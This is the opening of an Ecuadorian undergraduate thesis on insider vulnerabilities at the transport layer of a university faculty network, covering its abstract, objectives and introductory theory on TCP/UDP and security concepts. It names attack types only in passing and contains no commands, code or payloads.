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RESUMEN

El objetivo del presente trabajo de titulacion fue analizar las vulnerabilidades insiders
relacionadas a la capa de trasporte en la red del edificio de la Facultad de Informatica y
Electrénica (FIE) de la Escuela Superior Politécnica de Chimborazo (ESPOCH). Para ello se
realizo un analisis del trafico de la red del edificio de la FIE-ESPOCH con la herramienta Nids-
Snort con la que determind las amenazas y ataques a los que estd expuesta la red. Se aplicé una
adaptacion del Manual de la Metodologia Abierta de Comprobacién de la Seguridad
(OSSTMM) para determinar el estado de la seguridad en los canales humano y red de datos del
edificio y, ademas, se determind las vulnerabilidades insiders existentes realizando un escaneo
de vulnerabilidades con la herramienta Nexpose. Posteriormente se realizo la explotacidn de las
vulnerabilidades y amenazas previamente seleccionadas basandose en las mas comunes y
riesgosas, esto se realizd en un ambiente virtual desarrollado en el simulador GNS3. Finalmente
se propuso una guia de solucién para las vulnerabilidades y amenazas explotadas, indicando
opciones de solucion para diferentes sistemas operativos con capturas y pasos a seguir para una
correcta aplicacion en el sistema o equipo afectado. Como resultado se obtiene que el estado de
la seguridad en los canales es bajo debido a la presencia de un gran nimero de vulnerabilidades
en los equipos haciendo falta mas controles y limitaciones. Como recomendacion se indica que
se debe mantener actualizado los equipos para reducir la cantidad de amenazas a la que se

encuentran expuestos.

Palabras clave: <TECNOLOGIA Y CIENCIAS DE LA INGENIERIA>, <REDES DE
CAMPUS ACADEMICO>, <VULNERABILIDADES INSIDERS>, <OSSTMM (MANUAL
DE LA METODOLOGIA ABIERTA DE COMPROBACION DE LA SEGURIDAD)>,
<NIDS-SNORT  (SOFTWARE)>, <NEXPOSE (SOFTWARE)> <ANALISIS DE
VULNERABILIDADES>, <ANALISIS DE TRAFICO>.
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SUMMARY

The objective of this degree work was to analyze the insider vulnerabilities related to the
transport layer in the building network of the Informatics and Electronics Faculty (FIE) from the
Escuela Superior Politécnica de Chimborazo (ESPOCH). To do so, an analysis of the traffic of
the FIE-ESPOCH building network was carried out with the Nids-Snort tool with which the
threats and attacks to which the network is exposed were determined. An adaptation of the Open
Security Verification Methodology Manual (OSSTMM) was applied to determine the state of
security in the building's human channels and data network and, in addition, the existing insider
vulnerabilities were determined by performing a vulnerability scan with the Nexpose tool.
Subsequently, the exploitation of previously selected vulnerabilities and threats was carried out
based on the most common and risky ones, this was done in a virtual environment developed in
the GNS3 simulator. Finally, a solution guide for exploited vulnerabilities and threats was
proposed, indicating solution options for different operating systems with captures and steps to
follow for a correct application on the affected system or equipment. As a result, it was obtained
that the security status in the channels is low due to the presence of a large number of
vulnerabilities in the equipment, requiring more controls and limitations. As a recommendation,
it is advised that equipment should be kept updated to reduce the number of threats to which

they are exposed.

Keywords: < TECHNOLOGY AND SCIENCES ENGINEERING>, <ACADEMIC CAMPUS
NETWORKS>, <INSIDER VULNERABILITIES>, <OSSTMM (OPEN SAFETY CHECK
METHODOLOGY  MANUAL)>,  <NIDS-SNORT  (SOFTWARE)>,  <NEXPOSE
(SOFTWARE)>, <VULNERABILITY ANALYSIS>, <TRAFFIC ANALYSIS>
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INTRODUCCION

En la época actual la informacion, independientemente de su tipo es de vital importancia para
que una entidad u organizacion pueda trabajar de manera correcta y eficiente, es por esto que en
los Gltimos afios se la considera como uno de los activos méas valiosos que puede poseer una
organizacion. Debido a su importancia, una correcta gestion de esta garantiza elevar la

competitividad de la organizacion para asi obtener beneficios a largo y corto plazo.

Pero no todo se maneja de manera transparente ya que existen personas que muchas de las veces
estan dentro de la organizacion (insider) sabiendo cémo funciona el sistema y que su Unico
objetivo es poder acceder a esta informacion valiosa. Para esto dichas personas se valen de
ataques informéaticos comprometiendo asi la seguridad de los sistemas que maneja la
organizacion. Como resultado estas personas obtienen permisos de acceso y se aprovechan de
las vulnerabilidades de dichos sistemas y asi tener éxito en la accion maliciosa. Una vez que se
encuentran las vulnerabilidades de los sistemas de una organizacion, no solo se puede realizar el
robo de la informacion, sino que se puede realizar diferentes acciones como dafios al sistema o

incluso modificacion de informacién.

Para una organizacién como lo es una universidad el tener conocimiento sobre los incidentes
gue se pueden causar aprovechando las vulnerabilidades de sus sistemas es muy importante ya
gue gracias a esto se puede determinar e implementar medidas de correccion para la seguridad
de sus sistemas, estas medidas se agrupan y se forman politicas de seguridad de la informacién
las cuales se deben aplicar en la organizacion. Sin embargo, segun un estudio realizado por
CEDIA (Padilla Verdugo et al., 2017, p.71) revela que, de un conjunto de universidades encuestadas,
Unicamente 3 cuentan con politicas de seguridad formalizadas representando el 8%, 22 de
manera parcial representando el 60%, mientras que 12 no tiene una politica de seguridad
representando el 32%. cabe indicar que en este estudio se encuestaron 36 universidades
ecuatorianas entre las cuales se encontraba la Escuela Superior Politécnica de Chimborazo
(ESPOCH). Este estudio revela también la situacion en la que se encuentran las instituciones
educativas de nivel superior en Ecuador por lo que encontrar las vulnerabilidades de los
sistemas es importante para determinar politicas de seguridad adecuadas o guias de solucion

para que estas no sean explotadas mediante ataques informaticos.

Esta investigacion estd repartida en 3 capitulos, el primero de ellos se trata acerca de la

informacion tedrica abarcada en el desarrollo de la investigacion, el segundo capitulo es el



procedimiento para determinar y analizar las vulnerabilidades de la red y finalmente en el

capitulo 3 se presentan los resultados.

Antecedentes

Gracias al desarrollo de las redes de datos a lo largo del tiempo, su uso ha incrementado, esto
debido a las facilidades que presenta la utilizacién de estas redes como son bajo costo de
instalacién, su facil configuracion y la capacidad de diferentes dispositivos que pueden
interconectarse entre si via inalambrica o cableada como lo dice Andrés Serrano en su tesis de

ingenieria. (Serrano Flores, 2011, p.1).

Desde la creacion de las redes institucionales han existido vulnerabilidades en la seguridad,
estas vulnerabilidades se pueden presentar tanto en el exterior como en el interior (insider) de
una red institucional, una vulnerabilidad es la debilidad de un sistema por la cual los posibles
atacantes pueden realizar sus acciones maliciosas. Las wvulnerabilidades que han sido
descubiertas son expuestas y posteriormente reparadas o parcheadas por lo general con la
implementacion de protocolos de seguridad o actualizacidn de sus sistemas. Es muy comun que
una institucion realice un analisis de vulnerabilidades para determinar los riesgos o amenazas
que tiene su red valiéndose de métodos y técnicas para realizar los mismos, un ejemplo es el
caso de Jairo Manuel Palacios Dominguez que en 2015 desarrollé un trabajo de grado en la
Universidad de Sevilla en especifico en la Escuela Técnica Superior de Ingenieria Telematica,
denominado “Analisis de Vulnerabilidades de una red corporativa mediante herramientas de
descubrimientos activas” utilizando para ello herramientas, tales como NMap, OpenVAS, vFeed
y Xprobe2. (Palacios, 2015), en este trabajo se explor6é vulnerabilidades de la red en puertos e
incluso en gestion de nombres y contrasefias de usuario obteniéndose como resultado una

mejora de la seguridad de la red de la institucion.

En el &mbito nacional en la actualidad las instituciones ya sea pablicas o privadas en su mayoria
se manejan con redes informaticas para cumplir con su trabajo, de igual manera estas
instituciones no estan libres de recibir un ataque dentro de su misma institucion por ejemplo si
el Servicio de Rentas Internas sufriera un ataque informéatico mucha informacion sensible seria
revelada en el peor de los casos. Una vez mas realizar andlisis de vulnerabilidades ayuda a
mejorar la seguridad de una red. En Ecuador se han realizado trabajos acerca de analisis de
vulnerabilidades en una red institucional por ejemplo en 2010 la sefiorita Angélica Espinoza
realiz6 un trabajo de fin de carrera en la Universidad Técnica Particular de Loja denominado
“Analisis de vulnerabilidades de la red LAN de la UTPL” en el cual el principal objetivo fue

realizar un andlisis de vulnerabilidades enfocado al usuario final, es decir determinar cuéles son



los riesgos y amenazas a las que estan expuestos y el impacto en el caso de que estos llegaran a
ocurrir. Para la realizacion de este trabajo se tomo en cuenta un test de intrusion interno en un
entorno de laboratorio de pruebas con la guia de un conjunto de procesos hibridos seleccionados
de “Open Source Security Testing Methodology Manual” OSSTMM y de “Operationally
Critical Threat, Asset, and Vulnerability Evaluation” OCTAVE (Espinosa, 2010, p.XIll), cOMO
resultado se encontr6 que la informacion sensible como contrasefias y documentos no se
encuentran cifrados por lo que un atacante podria estar expuesto a esta informacién ademas se
generd un plan de accidn con estrategias de proteccion preventivas, correctivas y detectivas para

mitigar el impacto de los riesgos.

En el dmbito local, en Riobamba las instituciones publicas y privadas cuentan con redes
informaticas las cuales son vulnerables tanto a ataques del exterior como del interior, en la
Escuela Superior Politécnica de Chimborazo (ESPOCH) se han desarrollado trabajos de analisis
de vulnerabilidades, pero solo para casos especificos, y no en forma general. Por ejemplo, en
2015 Cristhian Vallejo desarrollo un analisis de vulnerabilidades en una red estandar y que
incidencia tenia en los dispositivos mdviles. Otro ejemplo mas reciente y méas parecido al tema
propuesto es el desarrollado en 2017 por Aida Alvarado y Richard Cabrera denominado
Anélisis de vulnerabilidades del servidor e-learning de la ESPOCH para la implementacion de
mejores practicas de seguridad-acceso. (Alvarado Tapia & Montesdeoca Cabrera, 2017), en el cual
utilizando una metodologia y simulando ataques lograron determinar vulnerabilidades en ciertos
puertos abiertos de la aplicacion de e-learning y como solucion de dichas vulnerabilidades

encontradas implementaron un firewall.

Formulacién del problema

¢Cémo analizar vulnerabilidades insiders para la red de campus académica del edificio de la
FIE-ESPOCH, aplicando la metodologia OSSTMM?

Sistematizacion del problema

¢Cudl es la gama de vulnerabilidades insider mas comunes que sufre una red de campus

académica a nivel de la capa de transporte del modelo OSlI, aplicado al caso practico?


http://dspace.espoch.edu.ec/browse?type=author&value=Alvarado+Tapia%2C+Aida+Concepci%C3%B3n
http://dspace.espoch.edu.ec/handle/123456789/6873
http://dspace.espoch.edu.ec/handle/123456789/6873

¢Es posible determinar las vulnerabilidades insiders a traveés del uso de la metodologia
OSSTMM vy herramientas de testeo Open Source en la red de campus académica del edificio de
la FIE-ESPOCH?

¢Es necesario explotar las vulnerabilidades identificadas para el analisis de posibles dafios

efectuados?

¢Qué medidas de prevencion o correccién son las mas adecuadas para aplicar segin las

vulnerabilidades explotadas?

Justificacion Tedrica

En conjunto con las redes, las vulnerabilidades insiders han evolucionado partiendo desde una
filtracion no intencional de informacién importante por parte de empleados los cuales no tienen
conciencia acerca de las consecuencias que puede causar el mal manejo de informacion
sensible, pasando por una mala gestion de contrasefias y nombres de usuario, vulnerabilidades
en sistemas operativos o equipos fisicos que utilice la institucion, hasta un ataque informatico
realizado por un empleado malicioso que conociendo las vulnerabilidades de la red realiza un
ataque especifico para explotar esa vulnerabilidad, este usuario malicioso puede ser un experto
en ataques informaticos o no necesariamente. Un atagque interno en si mismo es un término que
abarca muchos tipos de acciones maliciosas, desde un robo de datos completamente intencional
o fraude cometido con fines de lucro, hasta el sabotaje, espionaje industrial, incluso a errores
realizados intencionalmente o no intencionalmente, teniendo estas acciones en comun el hecho
de que todos ellos estan comprometidos por empleados con acceso a la red de la institucion. A
menudo dichos empleados son gerentes, operadores de bases de datos, programadores o
especialistas, que trabajan con datos sensibles, infraestructura o configuraciones critica de
sistemas como lo menciona Rubén Ramiro, Profesional en Tecnologias de la seguridad y
ciberseguridad en Telefonica en su blog de ciberseguridad. (Ruben Ramiro, 2017) . Para el caso de
una red de una institucion educativa como lo es la ESPOCH, puede ser los mismos estudiantes,
la planta docente o el sector administrativo que tienen acceso a una cuenta y por ende a la red de
campus, cualquier persona que tenga acceso a la red puede ser un atacante potencial. Para el
caso practico se considera la evolucion y crecimiento de la red de la ESPOCH vy los estudiantes
quienes cuentan con acceso a la red de campus y pueden causar dafios 0 acceder a ciertos
lugares y robar informacion, todo esto se puede hacer con la ayuda de internet ya que se puede

encontrar mucha informacion de cémo encontrar vulnerabilidades en una red y que ataques



hacer, se puede encontrar incluso tutoriales con los cuales se pretende el éxito en la accion

maliciosa.

En el caso préctico propuesto el andlisis serd enfocado a encontrar vulnerabilidades insiders, es
decir las vulnerabilidades que un usuario que ya esta dentro de la red puede encontrar y explotar
mediante un ataque informatico y cuales son los posibles dafios que puede hacer este usuario
malicioso, para esto se tendra en cuenta versiones del Manual de la Metodologia de Testeo de
Seguridad OSSTMM por sus siglas en inglés para la realizacidn del analisis, asi como también
la utilizacién de herramientas de testeo open source para identificar las vulnerabilidades. Cabe
indicar que las vulnerabilidades que se pretende encontrar son las referentes a la capa de
transporte del modelo OSI (capa 4). En esta capa lo més vulnerable es la autenticacion, la
integridad y la confidencialidad de los datos. Los ataques a la capa de transporte van asociados
al funcionamiento de los protocolos TCP y UDP. Algunas de las vulnerabilidades mas graves es
la posibilidad de interceptacion de sesiones TCP establecidas, con el objetivo de secuestrarlas y
dirigirlas a otros equipos con fines deshonestos también se puede mencionar escaneo de puertos,
inundaciones UDP, DoS por sobrecarga de conexiones como algunos de los ataques a esta capa,
para el caso practico propuesto se tendra en cuenta las siguientes vulnerabilidades y ataques:
Fingerprinting, Escaneo de Puertos, UDP Flood, TCP SYN Flood, Connection Flood, Tribe
Flood Network y Tfn2k, Land, Sesion Hijaking, TCP Initial Sequence Numbers, Tiny Fragment
Attack, Winnuke, Teardrop (Mejia, Ramirez & Rivera, 2012, pp.112-120) como Vvulnerabilidades méas
comunes y que puede presentar una red de campus académica como la red del edificio de la
FIE-ESPOCH.

Justificacion aplicativa

En una primera instancia se tiene a todos los usuarios que desean conectarse a la red de campus,
en este caso pueden ser estudiantes, docentes o sector administrativo, y dentro de este grupo
también puede estar presente un usuario malicioso (insider) el cual busca hacer un atagque a su
conveniencia. Para que estos usuarios puedan acceder a la red deben ser autenticados, esta tarea
lo realiza un servidor de autenticacion mediante un nombre de usuario y una contrasefia que por
lo general es el nimero de cedula de cada usuario. Una vez que los usuarios hayan sido
autenticados tienen acceso al servicio de internet y por ende acceso a red, esto en el caso de la
red inaldmbrica por otro lado se puede conectar por cable y tener acceso a la red. Una vez
dentro el usuario malicioso puede realizar ataques segun las vulnerabilidades que encuentre en
la red de campus. Es aqui en donde entra este trabajo ya que lo que se busca es hacer un analisis
de vulnerabilidades insiders en la red del edificio de la FIE-ESPOCH esto debido a la facilidad



de acceso a la infraestructura y ademas que este trabajo de titulacion estara alineado al proyecto
del grupo de investigacion SEGINTE, denominado “Propuesta de Solucion SDN - Sistema de
Aprendizaje para identificacion y clasificacion de amenazas internas que mejoren el control y la
seguridad en intranets académicas.” En el edificio de la FIE-ESPOCH se determinara cuéles son
los riesgos y vulnerabilidades a la que esta expuesta la red y ademas de proponer una posible

guia de solucion a dichos riesgos.

Objetivos

Objetivo General

Analizar las vulnerabilidades insiders de la red de campus académica del edificio de la FIE-
ESPOCH, aplicando la metodologia OSSTMM.

Obijetivos Especificos

o Investigar las vulnerabilidades insiders que puede presentar una red de campus

académica a nivel de la capa de transporte.

o Aplicar la metodologia OSSTMM vy herramientas de testeo Open Source para el analisis
de vulnerabilidades insider en el edificio de la FIE-ESPOCH.

o Explotar las vulnerabilidades insiders encontradas en la red de campus académica del
edificio de la FIE-ESPOCH.

o Proponer una guia de solucidn a las vulnerabilidades insiders explotadas.



CAPITULO |

1. MARCO TEORICO

1.1. Redes

Se define a una red como un medio de comunicacién al cual acceden las personas, usuarios o
grupos de usuarios con el fin de compartir informacién, algan servicio o recursos. Un ejemplo

son las redes telefdnicas siendo estas un tipo de red para la comunicacién entre dos usuarios.

A lo largo de los afios las redes han evolucionado y han sido de gran ayuda para el desarrollo de
una organizacion independientemente de su funcion, por ejemplo, en una institucion educativa
como una universidad el uso de una red informética ayuda a las actividades de consulta de los

estudiantes, esto gracias al acceso a internet.

Las nuevas tecnologias han permitido a las redes informaticas transportar voz, datos y video
asegurando asi una convergencia utilizando los mismos medios. Las redes estan formadas por
equipos llamados nodos, estos nodos utilizan varios medios para poder comunicarse entre si,
estos pueden ser protocolos o lenguajes comprensibles para todos los nodos que pertenecen a
una red. Una forma de categorizar a una red es en base a la amplitud y la aplicacion que se le

dara. (Dordoigne, 2015, p. 36)

Entre los tipos de redes se encuentra las redes de area de campus, este tipo de redes se
manifiesta en campus de universidades, pero también se considera a las redes que superen 1000
metros cuadrados, este tipo de red es un conjunto de redes de area local que estan
interconectadas entre si para poder compartir informacién de manera rapida y ademas de

asegurar el acceso a internet en todo el campus para las personas que se conecten a la red.

1.1.1. Redes de area de campus académicas

Este tipo de redes son mas utilizadas en el campo educativo, ya sea para universidades, colegios
o escuelas. Para el caso de una universidad es de amplia utilidad, por ejemplo, las redes de area
de cada una de las facultades de la universidad se interconectan entre si para compartir un
recurso como lo es la informacién o para acceder a internet, esto Gltimo de gran ayuda para los
estudiantes en tareas de consulta, asi como también para lectura de libros en linea. Todo esto
con el Unico objetivo de mejorar su rendimiento académico. Ademas, cabe indicar que el trafico
que circula por este tipo de redes es informacion relacionada con algin trabajo de investigacion

o0 desarrollo que realiza la universidad.



1.1.2. Importancia de las redes de area de campus académicas

En la actualidad la mayoria de las universidades en Ecuador posee una red de campus
académica esto debido a la importancia que estas tienen para el desarrollo de las actividades
académicas. A continuacion, se mencionaran aspectos del porqué de la importancia de las redes

de area de campus académicas:

Durante el desarrollo de un proyecto colaborativo entre carreras, acceder a fuentes de

consulta y compartir informacion es de vital necesidad.

e La informacion que se comparte pasa por canales de banda ancha, con una amplia

capacidad que determina asi la velocidad a la que se transmite.

e La utilizacion de este tipo de redes permite a los usuarios finales una gran flexibilidad para

desarrollar sus trabajos e investigaciones.

e Permite el desarrollo de nuevas tecnologias, en base a la necesidad y desarrollo de los

trabajos realizados.

e Al compartir informacién permite que proyectos realizados en otros paises se repliquen y

mejoren con mas facilidad o viceversa.

1.1.3. Edificio de la FIE-ESPOCH

El edifico de la FIE-ESPOCH es en el que se realizara el analisis de vulnerabilidades insiders.
Actualmente este edificio cuenta con tres pisos, laboratorios de computo, aulas de clase, sala de
profesores, un auditorio, sala de reuniones, oficinas de administracion, un ascensor, bafios y un
cuarto de servidores donde se ubican los equipos de red. Este edificio cuenta con acceso a
internet de manera inaldmbrica permitiendo conectar dispositivos méviles o mediante cable en

sus laboratorios y oficinas.
1.2.  Capa de transporte del modelo OSI

La capa de transporte del modelo OSI trabaja con dos protocolos ampliamente diferenciados,
sin embargo, estos se complementan entre si, estos son: TCP y UDP. TCP esta orientado a la
conexion mientras que el protocolo UPD es un protocolo sin conexién esto debido que el

protocolo UDP envia paquetes entre todas las aplicaciones, dejando que en las capas superiores
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del modelo OSI reconstruyan los paquetes enviados segun sea la necesidad. Por otro lado, el
protocolo TCP agrega confiabilidad en todas las retransmisiones, ademas controla la congestion
y el flujo de los datos.

1.2.1. Protocolo UDP

UDP proporciona una forma para que las aplicaciones envien datagramas IP encapsulados sin
tener que establecer una conexion. (Tanenbaum & Wetherall, 2012, p. 464). Este protocolo tiene un
Header o encabezado de 8 bytes de tamafio y un espacio para la carga Gtil como se puede
observar en la figura 1-1.

Puerto de origen Puerto de destino

Longitud de UDP Suma de verificacidn de UDP

Figura 1-1: Datagrama UDP
Fuente: (Tanenbaum & Wetherall, 2012, p. 465)

En el apartado de longitud de UDP indica la longitud en octetos del datagrama UDP, incluyendo
el Header, la longitud maxima de un datagrama UDP es de 65.505 bytes y el valor minimo es 8
bytes como ya se menciond. En la figura 3-1 se observa 4 campos, sin embargo, 2 de estos son
opcionales; estos son el puerto de origen y la suma de verificacion de UDP. UDP no tiene un
servidor de estado por lo que en las sesiones no se solicita una respuesta por parte del origen, en
estos casos el campo de puerto de origen es puesto a 0. La suma de verificacion de UDP

también puede ser puesto a 0.

Como ya se menciond anteriormente el protocolo UDP no se encarga del control de flujo,
control de congestion de paquetes o retransmisién cuando se recibe un paguete con errores. Sin
embargo, este protocolo es utilizado en la actualidad para aplicaciones a tiempo real como
videostreaming, videoconferencias o television a tiempo real esto debido a que es mas liviano
en su encabezado que su contraparte TCP. Un ejemplo de aplicacion que utiliza el protocolo
UDP es el servicio DNS. En términos mas acordes UDP se encarga de construir una interfaz

para el uso del protocolo IP, esta interfaz usa puertos para demultiplexar varios procesos.



1.2.2. Protocolo TCP

La entidad TCP emisora y receptora intercambian datos en forma de segmentos. Un segmento
TCP consiste en un encabezado fijo de 20 bytes seguido de cero o méas bytes de datos. El
software de TCP decide qué tan grandes deben ser los segmentos. Hay dos limites que
restringen el tamafio de segmento. Primero, cada segmento, incluido el encabezado TCP, debe
caber en la carga Util de 65 515 bytes del IP. Segundo, cada enlace tiene una MTU (Unidad
Méaxima de Transferencia). Cada segmento debe caber en la MTU en el emisor y el receptor, de
modo que se pueda enviar y recibir en un solo paquete sin fragmentar. En la practica, la MTU es
por lo general de 1500 bytes (el tamafio de la carga Util en Ethernet) y, por tanto, define el limite

superior en el tamafio de segmento. (Tanenbaum & Wetherall, 2012, p. 477)

Puerto de origen Puerto de destino

MNumero de secuencia

Mumero de confirmacion de recepcion

Longitud de CIE|U|A|P|R
encabez ado WIC|R|C|S|S|Y]I Tamano de ventana
TCP RIE|GIK[H|[T|M|M
Suma de verificacion Apuntador de urgente

— Opciones (cero o mas palabras de 32 bits) =

— Datos (opciaonal) —

Figura 2-1: Encabezado del protocolo TCP
Fuente: (Tanenbaum & Wetherall, 2012, p. 478)

En la figura 2-1 se muestra el encabezado TCP, cada segmento comienza con un encabezado de
formato fijo de 20 bytes. El encabezado fijo puede ir seguido de encabezado de opciones.
Después de las opciones, si las hay, pueden continuar hasta 65495 bytes de datos. (Tanenbaum &
Wetherall, 2012, pag. 478).

En TCP las conexiones se establecen mediante el acuerdo de tres vias Para establecer una
conexion, uno de los lados (digamos que el servidor) espera en forma pasiva una conexion
entrante mediante la ejecucion de las primitivas LISTEN y ACCEPT en ese orden, ya sea que se
especifique un origen determinado o a nadie en particular. El otro lado (digamos que el cliente)
ejecuta una primitiva CONNECT en la que especifica la direccion y el puerto con el que se

desea conectar, el tamafio maximo de segmento TCP que esta dispuesto a aceptar y de manera
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opcional algunos datos de usuario (por ejemplo, una contrasefia). La primitiva CONNECT envia
un segmento TCP con el bit SYN encendido y el bit ACK apagado, y espera una respuesta.
Cuando este segmento Ilega al destino, la entidad TCP de ahi revisa si hay un proceso que haya
ejecutado una primitiva LISTEN en el puerto que se indica en el campo Puerto de destino. Si no
lo hay, envia una respuesta con el bit RST encendido para rechazar la conexion. Si algin
proceso esta escuchando en el puerto, ese proceso recibe el segmento TCP entrante y puede
entonces aceptar o rechazar la conexion. Si la acepta, se devuelve un segmento de confirmacion

de recepcion. En la figura 3-1 se puede observar este proceso. (Tanenbaum & Wetherall, 2012, p. 481)

Host 1 Host 2 Host 1 Host 2
S
it “§!'! LS.E_O‘E X) [P —Y-'!(_S.E_Q_:_x')_ 3
— T
(o]
=8
5 =x+ 1) x+ ]
H YN (SEQ=Y —— gyN (SEQZ
™ (S5~
= X, 46\';\‘\
s‘.y ‘“-\
SEQ - *+7
- _(._59.‘.5-“_7_._A_CK= Y41y ¢

Figura 3-1: Establecimiento de una conexion TCP normal (i) y simultanea (d)
Fuente: (Tanenbaum & Wetherall, 2012, pag. 481)

1.3.  Seguridad de redes informaticas

La seguridad en un ambiente de red es la habilidad de identificar y eliminar vulnerabilidades.
Una definicion general de seguridad debe también poner atencién a la necesidad de
salvaguardar la ventaja organizacional, incluyendo informacién y equipos fisicos, tales como los
mismos computadores. Nadie a cargo de seguridad debe determinar quién y cuando se puede
tomar acciones apropiadas sobre un item en especifico. Cuando se trata de la seguridad de una
compafiia, lo que es apropiado varia de organizacion a organizacion. Independientemente,
cualquier compafiia con una red debe de tener una politica de seguridad que se dirija a

conveniencia y coordinacion. (Perpifian, 2011, p. 6)

1.3.1. Criterios e importancia de la seguridad de redes informaticas

Como se ha mencionado en apartados anteriores en la actualidad las mayorias de las

organizaciones utilizan las redes informéticas para el desarrollo de su trabajo y también para
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tener acceso a internet y es precisamente por esto Gltimo que todos los usuarios pueden ser
victimas de atacantes informaticos. Debido a esto la seguridad de los activos importantes como
lo es la informacién es de vital importancia ya que puede ser robada y causar problemas a la
organizacion incumpliendo asi los criterios de la seguridad informética las cuales se mencionan

a continuacion en la tabla 2-1

Tabla 1-1: Criterios de la seguridad informética
Criterios de la seguridad Definicion

Hace referencia a la proteccion de la
Confidencialidad informacién frente a su divulgacion a

entidades o individuos no autorizados

La integridad de datos es la proteccion de los
) datos frente a la modificacion, supresion,
Integridad de los datos o » ]
duplicacién o reordenacion realizada por

entidades no autorizadas

Significa tener acceso a la informacién cuando
) o se requiere. Por ejemplo, un fallo de un disco o
Disponibilidad B o
un ataque de denegacion de servicio pueden

causar una violacion de la disponibilidad.

El servicio de autenticacion se encarga de
asegurar la identidad de las entidades que
Autenticacion participan en la comunicacion. Es decir, el
servicio de autenticacion evita que un usuario

o0 entidad pueda suplantar la identidad de otro.

Es la proteccién de los servicios o recursos de
Control de acceso informacidn para evitar puedan ser accesibles

por parte de entidades no autorizadas

Es el servicio de seguridad que utiliza estas
evidencias para proporcionar proteccion contra
No repudio la negacion de una de las entidades de haber
participado en la totalidad o parte de una

comunicacion.

Fuente: (Soriano, 2014, pp. 31-37)
Realizado por: Byron Barragan, 2020

1.3.2. Seguridad personal
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La seguridad en el trabajo comienza en los niveles més basicos, los trabajadores. Cuando se
contrata un nuevo empleado, las referencias pueden ser requeridas y verificadas. Es también
importante verificar el pasado de los empleados. Después de que la decision de contratar un
empleado es hecha, este debe de ser entrenado e informado de las medidas de seguridad que
seran tomadas, incluyendo triturado de toda la informacion, frecuentemente cambiando y

eligiendo la contrasefia apropiada y la encriptacion de email. (Perpifian, 2011, p. 9)

1.3.3. Politicas de seguridad

La proteccidn de los sistemas recae en la realizacién de un andlisis de amenazas a las que estan
expuestos los sistemas. En estos analisis se trata de determinar las pérdidas que podrian
ocasionar y sobre todo la probabilidad de que las amenazas se conviertan en ataques. Una vez
que el analisis esta completa, en base al estudio se proponen politicas de seguridad en las que se
detalla reglas, procedimientos y responsabilidades para mitigar las amenazas o reducir sus

efectos.(Cifuentes & Narvaez, 2004, p. 5)

1.3.4. Mecanismos de la seguridad informatica

Los mecanismos de seguridad ayudan a la implementacién de politicas de seguridad. Estos

mecanismos de seguridad estan compuestos por tres grupos y son:

e Prevencion: Mecanismos cuyo fin es aumentar la seguridad de un sistema mientras se

encuentre en funcionamiento.

e  Deteccion: Mecanismos utilizados para la deteccion de intentos o violaciones de seguridad.

e Recuperacion: Mecanismos definidos para la recuperacion en caso de ser victimas de un

ataque informatico. (Cifuentes & Narvaez, 2004, p. 5-6)

1.4. Vulnerabilidades informaticas

Los equipos tanto a nivel de software como hardware no son perfectos esto se lo puede ver en
las diferentes versiones que cada cierto tiempo se liberan para asi arreglar las vulnerabilidades
encontradas y que se pueden explotar con fines maliciosos. Los atacantes informaticos se valen
de estas vulnerabilidades para acceder a la red de la organizacion, pero ¢qué es una

vulnerabilidad? A continuacién, se dara una definicion.
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1.4.1. Definicion de vulnerabilidad

Probabilidad que existen de que una amenaza se materialice contra un activo. No todos los
activos son vulnerables a las mismas amenazas. Por ejemplo, los datos son vulnerables a la
accion de los atacantes, mientras que una instalacion eléctrica es vulnerable a un cortocircuito.
Al hacer el anélisis de vulnerabilidades hay que tener en cuenta la vulnerabilidad de cada activo.

(Aguilera Lépez, 2010, p.14).

Se entiende como activo a lo mas importante de una organizacion, como se ha mencionado en
apartados anteriores un activo es la informacion confidencial que una organizacion o empresa
maneja. Pero un activo no solo es la informacidn, en si puede ser los equipos de red instalados
en la empresa lo cuales también son vulnerables. Los activos son los recursos que pertenecen al
propio sistema de informacion o que estan relacionados con este. La presencia de los activos
facilita el funcionamiento de la empresa u organizacion y la consecucion de sus objetivos. Se

puede observar tipos en la tabla 2-1.

Tabla 2-1: Tipos de activos en una organizacion
Activo Definicion

Datos Construyen el nucleo de la organizacion, es
toda la informacion sensible de la

organizacion.

Software Construido por los sistemas operativos y el
conjunto de aplicaciones instaladas en los

equipos de un sistema de informacion.

Hardware Se trata de los equipos como servidores o
terminales que contienen las aplicaciones y a

la vez almacena los datos.

Redes Desde las redes locales de la propia
organizacion hasta las metropolitanas o

internet.

Soportes Los lugares en donde la informacion queda
registrada y almacenada largos periodos de

forma permanente.

Instalaciones Son los lugares que albergan los sistemas de

informacién y de comunicaciones.

Personal El conjunto de personas que interactian con el

sistema de informacion.
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Servicios Que se ofrecen a clientes o usuarios.

Fuente: (Aguilera Lopez, 2010, pp. 12-13)
Realizado por: Byron Barragan, 2020

1.4.2. Definicién de amenaza

En el campo de la informatica se entiende por amenaza la presencia de diferentes factores entre
ellos personas, sucesos 0 maquinas que pueden atacar o hacer vulnerables a los sistemas con la
finalidad de causar dafios segun la vulnerabilidad que se aproveche. (Aguilera Lépez, 2010, p. 13)

1.4.2.1. Clasificacion de amenazas

Las amenazas se clasifican en funcion del tipo de alteracion, dafio o intervencion que se puede

causar en cuatro grupos:

De interrupcion. El objetivo es deshabilitar el acceso a la informacion.

e De interceptacion. Personas, programas 0 equipos no autorizados podrian acceder a un

determinado recurso del sistema y captar informacién confidencial.

e De modificacién. Modificar la informacion.

e De fabricacion. Agregarian informacién falsa en el conjunto de informacién del sistema.
(Aguilera Lépez, 2010, pp. 13-14)

1.4.2.2. Factor insider

En el campo de la seguridad un insider es una persona perteneciente a una organizacion,
independientemente de la accion que realice la misma. El Unico objetivo de esta persona son
acciones maliciosas. Por lo general estas personas tiene acceso a los activos de la organizacion.

Las amenazas insiders pueden ser de dos tipos los cuales son:
e Accidentales. Causadas por personas que no tienen una cultura hacia la seguridad de la

informacién, por lo cual no tienen una buena gestion en cuanto a informacién sensible o no

tiene el conocimiento adecuado para el manejo de los equipos de red.
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e Intencionadas. Este tipo de insider son considerados maliciosos, ya que pueden robar
informacion, modificar o introducir software malicioso en la red valiéndose de las
vulnerabilidades presentes en la red. Estas personas pueden tener o no conocimiento de
informatica. Para una persona que no conozca mucho del &mbito de la informatica puede

buscar informacién relacionada al tema en internet y cometer su accion maliciosa.

Para el caso de una red de area de campus académica los posibles insiders pueden ser los

mismos estudiantes, el sector administrativo o la planta docente.

1.4.3. Definicion de riesgo

Se denomina riesgo a la posibilidad de que se materialice 0 no una amenaza aprovechando una
vulnerabilidad. No constituye riesgo una amenaza cuando no hay vulnerabilidad ni una

